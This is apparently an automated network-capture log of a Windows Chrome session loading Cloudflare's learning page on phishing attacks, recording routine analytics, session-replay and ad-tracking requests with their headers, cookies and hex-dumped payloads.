{"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=WuWqByKQGBzPOqqtWgvv9%2F0NcXp%2BTgqpcSqvg3KS1UDYW%2FrnZd3U87I3nuzXm6oD9JdFzsVUDugG8uZG7ZM%2BoGIFpk5bYHfmqkdzwUbJkGtV22zvLQUzuhBIGFYf8EZ75f43eNmLT6W7cg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Server: cloudflare alt-svc: h3=":443"; ma=86400

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
110	192.168.2.8	50823	104.198.23.205	443	4784	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-18 13:48:14 UTC	776	OUT	POST /i?a=ykolez%2Fcloudflarecom&r=5-dc035e4b-bab8-4a6d-b320-2245e692f947&t=201461db-6e08-416b-adaf-8f4c9166cf13&s=0&rs=0%2Cu&u=df8b95ce-b2a8-4691-b1e1-66fcda5aceb7&is=1 HTTP/1.1 Host: r.logr-ingest.com Connection: keep-alive Content-Length: 725782 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" X-LogRocket-Relay-Version: 2024.9.0 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://www.cloudflare.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.cloudflare.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-18 13:48:14 UTC	16384	OUT	Data Raw: 0a 9f 05 09 00 30 86 2b fe 29 79 42 12 0b 6c 72 2e 4d 65 74 61 64 61 74 61 1a f5 04 1a cc 02 0a 46 68 74 74 70 73 3a 2f 2f 77 77 77 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 6c 65 61 72 6e 69 6e 67 2f 61 63 63 65 73 73 2d 6d 61 6e 61 67 65 6d 65 6e 74 2f 70 68 69 73 68 69 6e 67 2d 61 74 74 61 63 6b 2f 1a 05 65 6e 2d 55 53 2a 05 57 69 6e 33 32 32 6f 4d 6f 7a 69 6c 6c 61 2f 35 2e 30 20 28 57 69 6e 64 6f 77 73 20 4e 54 20 31 30 2e 30 3b 20 57 69 6e 36 34 3b 20 78 36 34 29 20 41 70 70 6c 65 57 65 62 4b 69 74 2f 35 33 37 2e 33 36 20 28 4b 48 54 4d 4c 2c 20 6c 69 6b 65 20 47 65 63 6b 6f 29 20 43 68 72 6f 6d 65 2f 31 31 37 2e 30 2e 30 2e 30 20 53 61 66 61 72 69 2f 35 33 37 2e 33 36 3a 67 35 2e 30 20 28 57 69 6e 64 6f 77 73 20 4e 54 20 31 30 2e 30 3b 20 57 Data Ascii: 0+)yBlr.MetadataFhttps://www.cloudflare.com/learning/access-management/phishing-attack/en-US*Win322oMozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36:g5.0 (Windows NT 10.0; W
2024-10-18 13:48:14 UTC	16384	OUT	Data Raw: 3a 23 37 37 37 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 36 70 78 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 34 30 30 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 32 34 70 78 7d 2e 74 61 62 2d 74 65 78 74 2d 2d 61 63 74 69 76 65 7b 63 6f 6c 6f 72 3a 23 30 30 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 36 70 78 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 36 30 30 7d 2e 74 61 62 2d 61 72 72 6f 77 7b 63 6f 6c 6f 72 3a 23 66 36 33 3b 66 6c 6f 61 74 3a 6c 65 66 74 7d 2e 68 65 72 6f 2d 73 65 63 74 69 6f 6e 2d 74 6f 70 7b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 36 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 34 30 30 70 78 7d 2e 68 65 72 6f 2d 73 65 63 74 69 6f 6e 2d 74 6f 70 20 2e 72 6f 77 7b 6d 61 78 2d 68 65 69 67 68 74 3a 34 30 30 70 78 7d 2e 68 65 72 6f 2d 6d 65 64 69 61 7b 68 65 Data Ascii: :#777;font-size:16px;font-weight:400;line-height:24px}.tab-text--active{color:#000;font-size:16px;font-weight:600}.tab-arrow{color:#f63;float:left}.hero-section-top{margin-bottom:60px;min-height:400px}.hero-section-top .row{max-height:400px}.hero-media{he
2024-10-18 13:48:14 UTC	16384	OUT	Data Raw: 6e 74 65 72 7b 61 6c 69 67 6e 2d 63 6f 6e 74 65 6e 74 3a 63 65 6e 74 65 72 7d 2e 63 6f 6e 74 65 6e 74 2d 62 65 74 77 65 65 6e 7b 61 6c 69 67 6e 2d 63 6f 6e 74 65 6e 74 3a 73 70 61 63 65 2d 62 65 74 77 65 65 6e 7d 2e 63 6f 6e 74 65 6e 74 2d 61 72 6f 75 6e 64 7b 61 6c 69 67 6e 2d 63 6f 6e 74 65 6e 74 3a 73 70 61 63 65 2d 61 72 6f 75 6e 64 7d 2e 63 6f 6e 74 65 6e 74 2d 73 74 72 65 74 63 68 7b 61 6c 69 67 6e 2d 63 6f 6e 74 65 6e 74 3a 73 74 72 65 74 63 68 7d 2e 6f 72 64 65 72 2d 6c 61 73 74 7b 6f 72 64 65 72 3a 39 39 39 39 39 7d 2e 66 6c 65 78 2d 62 61 73 69 73 2d 30 7b 66 6c 65 78 2d 62 61 73 69 73 3a 30 7d 2e 66 6c 65 78 2d 67 72 6f 77 2d 30 7b 66 6c 65 78 2d 67 72 6f 77 3a 30 7d 2e 66 6c 65 78 2d 67 72 6f 77 2d 31 7b 66 6c 65 78 2d 67 72 6f 77 3a 31 7d 2e Data Ascii: nter{align-content:center}.content-between{align-content:space-between}.content-around{align-content:space-around}.content-stretch{align-content:stretch}.order-last{order:99999}.flex-basis-0{flex-basis:0}.flex-grow-0{flex-grow:0}.flex-grow-1{flex-grow:1}.
2024-10-18 13:48:14 UTC	16384	OUT	Data Raw: 76 79 7b 66 69 6c 6c 3a 23 30 30 35 31 37 66 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 66 69 6c 6c 2d 6c 69 67 68 74 4e 61 76 79 7b 66 69 6c 6c 3a 23 34 66 38 63 63 38 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 66 69 6c 6c 2d 62 72 61 6e 64 47 72 61 79 31 7b 66 69 6c 6c 3a 23 66 35 66 35 66 35 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 66 69 6c 6c 2d 62 72 61 6e 64 47 72 61 79 32 7b 66 69 6c 6c 3a 23 64 64 64 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 66 69 6c 6c 2d 62 72 61 6e 64 47 72 61 79 33 7b 66 69 6c 6c 3a 23 61 61 61 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 66 69 6c 6c 2d 62 72 61 6e 64 47 72 61 79 34 7b 66 69 6c 6c 3a 23 37 30 37 30 37 30 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 66 69 6c 6c 2d 62 72 61 6e 64 47 72 61 79 35 7b 66 69 6c 6c 3a 23 34 30 34 32 34 32 21 69 6d 70 6f 72 74 Data Ascii: vy{fill:#00517f!important}.fill-lightNavy{fill:#4f8cc8!important}.fill-brandGray1{fill:#f5f5f5!important}.fill-brandGray2{fill:#ddd!important}.fill-brandGray3{fill:#aaa!important}.fill-brandGray4{fill:#707070!important}.fill-brandGray5{fill:#404242!import
2024-10-18 13:48:14 UTC	16384	OUT	Data Raw: 6c 6f 72 3a 23 66 66 66 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 6b 65 79 2d 66 65 61 74 75 72 65 2d 69 63 6f 6e 7b 68 65 69 67 68 74 3a 32 32 70 78 3b 77 69 64 74 68 3a 32 32 70 78 7d 2e 70 6c 61 6e 73 2d 64 65 74 61 69 6c 2d 6e 61 76 2d 73 74 69 63 6b 79 7b 6c 65 66 74 3a 35 30 25 3b 70 6f 73 69 74 69 6f 6e 3a 66 69 78 65 64 3b 74 6f 70 3a 31 30 30 70 78 3b 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 58 28 2d 35 30 25 29 7d 2e 67 74 2d 61 66 74 65 72 3a 61 66 74 65 72 2c 2e 6c 69 6e 6b 3a 61 66 74 65 72 7b 63 6f 6e 74 65 6e 74 3a 22 20 e2 80 ba 22 7d 2e 63 6f 6e 74 65 6e 74 2d 65 78 70 61 6e 64 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 2b 22 7d 2e 63 6f 6e 74 65 6e 74 2d 65 78 70 61 6e 64 2d 2d 61 63 74 69 76 65 3a 62 65 66 6f 72 65 7b Data Ascii: lor:#fff!important}.key-feature-icon{height:22px;width:22px}.plans-detail-nav-sticky{left:50%;position:fixed;top:100px;transform:translateX(-50%)}.gt-after:after,.link:after{content:" "}.content-expand:before{content:"+"}.content-expand--active:before{
2024-10-18 13:48:14 UTC	16384	OUT	Data Raw: 70 61 64 64 69 6e 67 3a 39 36 70 78 7d 2e 70 6c 31 30 7b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 39 36 70 78 7d 2e 70 6c 31 30 2d 69 6d 70 6f 72 74 61 6e 74 7b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 39 36 70 78 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 70 68 31 30 2c 2e 70 72 31 30 7b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 39 36 70 78 7d 2e 70 68 31 30 7b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 39 36 70 78 7d 2e 70 74 31 30 7b 70 61 64 64 69 6e 67 2d 74 6f 70 3a 39 36 70 78 7d 2e 70 62 31 30 2c 2e 70 76 31 30 7b 70 61 64 64 69 6e 67 2d 62 6f 74 74 6f 6d 3a 39 36 70 78 7d 2e 70 76 31 30 7b 70 61 64 64 69 6e 67 2d 74 6f 70 3a 39 36 70 78 7d 2e 6d 61 31 30 7b 6d 61 72 67 69 6e 3a 39 36 70 78 7d 2e 6d 6c 31 30 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 39 36 70 78 7d Data Ascii: padding:96px}.pl10{padding-left:96px}.pl10-important{padding-left:96px!important}.ph10,.pr10{padding-right:96px}.ph10{padding-left:96px}.pt10{padding-top:96px}.pb10,.pv10{padding-bottom:96px}.pv10{padding-top:96px}.ma10{margin:96px}.ml10{margin-left:96px}
2024-10-18 13:48:14 UTC	16384	OUT	Data Raw: 67 68 74 2d 6d 7b 62 6f 72 64 65 72 2d 74 6f 70 2d 6c 65 66 74 2d 72 61 64 69 75 73 3a 30 7d 2e 62 72 2d 2d 6c 65 66 74 2d 6d 7b 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 2d 72 69 67 68 74 2d 72 61 64 69 75 73 3a 30 3b 62 6f 72 64 65 72 2d 74 6f 70 2d 72 69 67 68 74 2d 72 61 64 69 75 73 3a 30 7d 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 77 69 64 74 68 3a 39 39 32 70 78 29 7b 2e 62 72 30 2d 6c 7b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 30 7d 2e 62 72 31 2d 6c 7b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 33 70 78 7d 2e 62 72 32 2d 6c 7b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 35 70 78 7d 2e 62 72 2d 31 30 30 2d 6c 7b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 31 30 30 25 7d 2e 62 72 2d 70 69 6c 6c 2d 6c 7b 62 6f 72 64 65 72 2d Data Ascii: ght-m{border-top-left-radius:0}.br--left-m{border-bottom-right-radius:0;border-top-right-radius:0}}@media screen and (min-width:992px){.br0-l{border-radius:0}.br1-l{border-radius:3px}.br2-l{border-radius:5px}.br-100-l{border-radius:100%}.br-pill-l{border-
2024-10-18 13:48:14 UTC	16384	OUT	Data Raw: 2d 6c 65 66 74 3a 34 38 70 78 7d 2e 6d 74 36 2d 6e 73 7b 6d 61 72 67 69 6e 2d 74 6f 70 3a 34 38 70 78 7d 2e 6d 62 36 2d 6e 73 2c 2e 6d 76 36 2d 6e 73 7b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 34 38 70 78 7d 2e 6d 76 36 2d 6e 73 7b 6d 61 72 67 69 6e 2d 74 6f 70 3a 34 38 70 78 7d 2e 70 61 37 2d 6e 73 7b 70 61 64 64 69 6e 67 3a 36 34 70 78 7d 2e 70 6c 37 2d 6e 73 7b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 36 34 70 78 7d 2e 70 68 37 2d 6e 73 2c 2e 70 72 37 2d 6e 73 7b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 36 34 70 78 7d 2e 70 68 37 2d 6e 73 7b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 36 34 70 78 7d 2e 70 74 37 2d 6e 73 7b 70 61 64 64 69 6e 67 2d 74 6f 70 3a 36 34 70 78 7d 2e 70 62 37 2d 6e 73 2c 2e 70 76 37 2d 6e 73 7b 70 61 64 64 69 6e 67 2d 62 6f 74 74 Data Ascii: -left:48px}.mt6-ns{margin-top:48px}.mb6-ns,.mv6-ns{margin-bottom:48px}.mv6-ns{margin-top:48px}.pa7-ns{padding:64px}.pl7-ns{padding-left:64px}.ph7-ns,.pr7-ns{padding-right:64px}.ph7-ns{padding-left:64px}.pt7-ns{padding-top:64px}.pb7-ns,.pv7-ns{padding-bott
2024-10-18 13:48:14 UTC	16384	OUT	Data Raw: 2e 6d 68 35 36 70 78 2d 6c 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 35 36 70 78 7d 2e 6d 74 35 36 70 78 2d 6c 7b 6d 61 72 67 69 6e 2d 74 6f 70 3a 35 36 70 78 7d 2e 6d 62 35 36 70 78 2d 6c 2c 2e 6d 76 35 36 70 78 2d 6c 7b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 35 36 70 78 7d 2e 6d 76 35 36 70 78 2d 6c 7b 6d 61 72 67 69 6e 2d 74 6f 70 3a 35 36 70 78 7d 2e 70 61 32 37 32 70 78 2d 6c 7b 70 61 64 64 69 6e 67 3a 32 37 32 70 78 7d 2e 70 6c 32 37 32 70 78 2d 6c 7b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 32 37 32 70 78 7d 2e 70 68 32 37 32 70 78 2d 6c 2c 2e 70 72 32 37 32 70 78 2d 6c 7b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 37 32 70 78 7d 2e 70 68 32 37 32 70 78 2d 6c 7b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 32 37 32 70 78 7d 2e 70 74 32 37 32 70 78 2d 6c Data Ascii: .mh56px-l{margin-left:56px}.mt56px-l{margin-top:56px}.mb56px-l,.mv56px-l{margin-bottom:56px}.mv56px-l{margin-top:56px}.pa272px-l{padding:272px}.pl272px-l{padding-left:272px}.ph272px-l,.pr272px-l{padding-right:272px}.ph272px-l{padding-left:272px}.pt272px-l
2024-10-18 13:48:14 UTC	16384	OUT	Data Raw: 7d 2e 6d 69 6e 2d 68 2d 31 30 30 2d 6d 7b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30 30 25 7d 2e 76 68 2d 32 35 2d 6d 7b 68 65 69 67 68 74 3a 32 35 76 68 7d 2e 76 68 2d 35 30 2d 6d 7b 68 65 69 67 68 74 3a 35 30 76 68 7d 2e 76 68 2d 37 35 2d 6d 7b 68 65 69 67 68 74 3a 37 35 76 68 7d 2e 76 68 2d 31 30 30 2d 6d 7b 68 65 69 67 68 74 3a 31 30 30 76 68 7d 2e 6d 69 6e 2d 76 68 2d 31 30 30 2d 6d 7b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30 30 76 68 7d 2e 68 2d 61 75 74 6f 2d 6d 7b 68 65 69 67 68 74 3a 61 75 74 6f 7d 2e 68 2d 69 6e 68 65 72 69 74 2d 6d 7b 68 65 69 67 68 74 3a 69 6e 68 65 72 69 74 7d 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 77 69 64 74 68 3a 39 39 32 70 78 29 7b 2e 68 2d 33 72 65 6d 2d 6c 7b 68 65 69 67 68 74 3a 33 72 65 6d Data Ascii: }.min-h-100-m{min-height:100%}.vh-25-m{height:25vh}.vh-50-m{height:50vh}.vh-75-m{height:75vh}.vh-100-m{height:100vh}.min-vh-100-m{min-height:100vh}.h-auto-m{height:auto}.h-inherit-m{height:inherit}}@media screen and (min-width:992px){.h-3rem-l{height:3rem
2024-10-18 13:48:15 UTC	693	IN	HTTP/1.1 201 Created Date: Fri, 18 Oct 2024 13:48:14 GMT Content-Type: application/json; charset=utf-8 Content-Length: 3755 Connection: close X-Powered-By: Express Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, PUT, POST, DELETE, PATCH, OPTIONS ETag: W/"eab-N7n7brKGiC5WZoAjGeD3rT7ei7g" Strict-Transport-Security: max-age=31536000; includeSubDomains Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: DNT,Keep-Alive,User-Agent,X-Requested-With,X-Csrftoken,If-Modified-Since,Cache-Control,Content-Type,Authorization,Accept,Origin,X-Logrocket-Url,X-Logrocket-Ignore,X-Logrocket-Secret,X-LogRocket-Relay-Version Access-Control-Max-Age: 1728000

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
111	192.168.2.8	50822	150.171.28.10	443	4784	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-18 13:48:14 UTC	533	OUT	GET /p/action/5268204.js HTTP/1.1 Host: bat.bing.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.cloudflare.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-18 13:48:14 UTC	571	IN	HTTP/1.1 200 OK Cache-Control: private,max-age=60 Content-Length: 1754 Content-Type: application/javascript; charset=utf-8 Strict-Transport-Security: max-age=31536000; includeSubDomains; preload X-Cache: CONFIG_NOCACHE Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: 35AF0AE0F47444A1B0E7275766F15C75 Ref B: DFW311000106027 Ref C: 2024-10-18T13:48:14Z Date: Fri, 18 Oct 2024 13:48:14 GMT Connection: close
2024-10-18 13:48:14 UTC	1754	IN	Data Raw: 28 66 75 6e 63 74 69 6f 6e 28 77 2c 64 2c 63 2c 6b 2c 61 2c 62 2c 74 2c 65 29 20 7b 0d 0a 20 20 20 20 76 61 72 20 63 73 20 3d 20 64 2e 63 75 72 72 65 6e 74 53 63 72 69 70 74 3b 0d 0a 20 20 20 20 69 66 20 28 63 73 29 20 7b 0d 0a 20 20 20 20 20 20 20 20 76 61 72 20 75 6f 20 3d 20 63 73 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 27 64 61 74 61 2d 75 65 74 6f 27 29 3b 0d 0a 20 20 20 20 20 20 20 20 69 66 20 28 75 6f 20 26 26 20 77 5b 75 6f 5d 20 26 26 20 74 79 70 65 6f 66 20 77 5b 75 6f 5d 2e 73 65 74 55 73 65 72 53 69 67 6e 61 6c 73 20 3d 3d 3d 20 27 66 75 6e 63 74 69 6f 6e 27 29 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 77 5b 75 6f 5d 2e 73 65 74 55 73 65 72 53 69 67 6e 61 6c 73 28 7b 27 63 6f 27 3a 20 63 2c 20 27 6b 63 27 3a 20 6b 2c 20 27 61 74 27 3a Data Ascii: (function(w,d,c,k,a,b,t,e) { var cs = d.currentScript; if (cs) { var uo = cs.getAttribute('data-ueto'); if (uo && w[uo] && typeof w[uo].setUserSignals === 'function') { w[uo].setUserSignals({'co': c, 'kc': k, 'at':

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
112	192.168.2.8	50819	52.207.158.69	443	4784	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-18 13:48:14 UTC	592	OUT	GET /sync?UIDM=18ee9fe9-01ca-43a0-b773-2c99f76388ad HTTP/1.1 Host: partners.tremorhub.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-18 13:48:14 UTC	513	IN	HTTP/1.1 200 Date: Fri, 18 Oct 2024 13:48:14 GMT Content-Type: image/gif Transfer-Encoding: chunked Connection: close Server: nginx P3P: CP='This is not a P3P policy. See https://telaria.com/privacy-policy/' Set-Cookie: tvid=9cba43ec0b964a5c99ec33da08e31ddd; Domain=.tremorhub.com; Expires=Sat, 18-Oct-2025 19:36:34 GMT; Path=/; Secure; SameSite=None Set-Cookie: tv_UIDM=18ee9fe9-01ca-43a0-b773-2c99f76388ad; Domain=.tremorhub.com; Expires=Mon, 19-Oct-2026 01:24:54 GMT; Path=/; Secure; SameSite=None
2024-10-18 13:48:14 UTC	49	IN	Data Raw: 32 62 0d 0a 47 49 46 38 39 61 01 00 01 00 f0 00 00 00 00 00 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b 0d 0a Data Ascii: 2bGIF89a!,D;
2024-10-18 13:48:14 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
113	192.168.2.8	50817	152.195.15.58	443	4784	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-18 13:48:14 UTC	834	OUT	GET /u?_biz_u=1f89ada7504445dddeb1bdf0ffe279ea&_biz_l=https%3A%2F%2Fwww.cloudflare.com%2Flearning%2Faccess-management%2Fphishing-attack%2F&_biz_t=1729259291819&_biz_i=What%20is%20a%20phishing%20attack%3F%20%7C%20Cloudflare&rnd=948098&cdn_o=a&_biz_z=1729259291819 HTTP/1.1 Host: cdn.bizibly.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.cloudflare.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-18 13:48:14 UTC	560	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Age: 577967 Cache-Control: no-cache, no-store Content-Type: Image/GIF Date: Fri, 18 Oct 2024 13:48:14 GMT Expires: -1 Last-Modified: Fri, 11 Oct 2024 21:15:27 GMT P3P: CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT" Pragma: no-cache Server: ECS (lhd/35B4) Set-Cookie: _BUID=b7928ff53fdb70b96d3df4e60229a0d6; domain=.bizibly.com; path=/; max-age=31536000; SameSite=None; Secure Strict-Transport-Security: max-age=31536000; includeSub X-Cache: HIT Content-Length: 43 Connection: close
2024-10-18 13:48:14 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff ff ff ff 21 f9 04 01 0a 00 01 00 2c 00 00 00 00 01 00 01 00 00 02 02 4c 01 00 3b Data Ascii: GIF89a!,L;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
114	192.168.2.8	50826	172.66.0.227	443	4784	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-18 13:48:14 UTC	919	OUT	GET /1/i/adsct?bci=4&eci=3&event=%7B%7D&event_id=f94529a4-d083-4620-bd90-72fde3aa57d1&integration=advertiser&p_id=Twitter&p_user_id=0&pl_id=020813ef-aa2c-40e1-950c-6715778cf1b4&restricted_data_use=restrict_optimization&tw_document_href=https%3A%2F%2Fwww.cloudflare.com%2Flearning%2Faccess-management%2Fphishing-attack%2F&tw_iframe_status=0&txn_id=nvldc&type=javascript&version=2.3.30 HTTP/1.1 Host: t.co Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: muc_ads=8cd764c7-7833-4da8-9b2a-46bfe1e25b2c; __cf_bm=ReusBGjPHI25LbWkYwOut4EROcDwr4.lGKnuIguPaKw-1729259293-1.0.1.1-szmaUP_y_WTN54y.laJwqGRNSytE6lePB_5v9bwWuyIdmgo6AACjG319ItFdK1AMY8yfNq2YqfPF3siBHPsb_w
2024-10-18 13:48:14 UTC	460	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 13:48:14 GMT Content-Type: image/gif;charset=utf-8 Content-Length: 43 Connection: close perf: 7402827104 Cache-Control: no-cache, no-store, max-age=0 x-transaction-id: 0ace993428d69d18 strict-transport-security: max-age=0 x-response-time: 85 x-connection-hash: 7a8e51cff1500c370b7d3c04ce2a8652f61e0055183759c6f9e97a245065acf0 CF-Cache-Status: DYNAMIC Server: cloudflare tsa_b CF-RAY: 8d48fc1cca2de79a-DFW
2024-10-18 13:48:14 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 09 00 00 01 00 2c 00 00 00 00 01 00 01 00 00 02 02 4c 01 00 3b Data Ascii: GIF89a!,L;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
115	192.168.2.8	50827	104.16.123.96	443	4784	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-18 13:48:14 UTC	4363	OUT	POST /static/z/t HTTP/1.1 Host: www.cloudflare.com Connection: keep-alive Content-Length: 1901 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/json Accept: / Origin: https://www.cloudflare.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.cloudflare.com/learning/access-management/phishing-attack/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __cf_bm=c.Negr8h6Ze7rn2KazxNJfUCcbsMKl2XewnZvM6chtA-1729259280-1.0.1.1-SbXzfbaXTKC8vRv8u9w3yX3lEiNTekfJPw1yLUmMrNv3xUlrWLPPtvhUdvcJF9jY22pLsPmzrZpXEA9j3SRJXZvaBYrwuNzHi_NJoD4Cppc; _lr_tabs_-ykolez%2Fcloudflarecom={%22sessionID%22:0%2C%22recordingID%22:%225-dc035e4b-bab8-4a6d-b320-2245e692f947%22%2C%22lastActivity%22:1729259288673%2C%22hasActivity%22:false}; _lr_hb_-ykolez%2Fcloudflarecom={%22heartbeat%22:1729259288674}; _lr_uf_-ykolez=2f4924f2-c49d-4ad6-809e-0cb84c9af7c1; OptanonConsent=isGpcEnabled=0&datestamp=Fri+Oct+18+2024+09%3A48%3A09+GMT-0400+(Eastern+Daylight+Time)&version=202407.2.0&browserGpcFlag=0&isIABGlobal=false&hosts=&consentId=132bfd33-5771-4703-bbd3-88270fe7a4d7&interactionCount=0&isAnonUser=1&landingPath=https%3A%2F%2Fwww.cloudflare.com%2Flearning%2Faccess-management%2Fphishing-attack%2F&groups=SSPD_BG%3A1%2CC0004%3A1%2CC0002%3A1%2CC0003%3A1%2CC0001%3A1; cfz_facebook-pixel=%7B%22OwdI_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.46445497%22%2C%22e%22%3A1760795290739%7D%2C%22VVgx_fb [TRUNCATED]
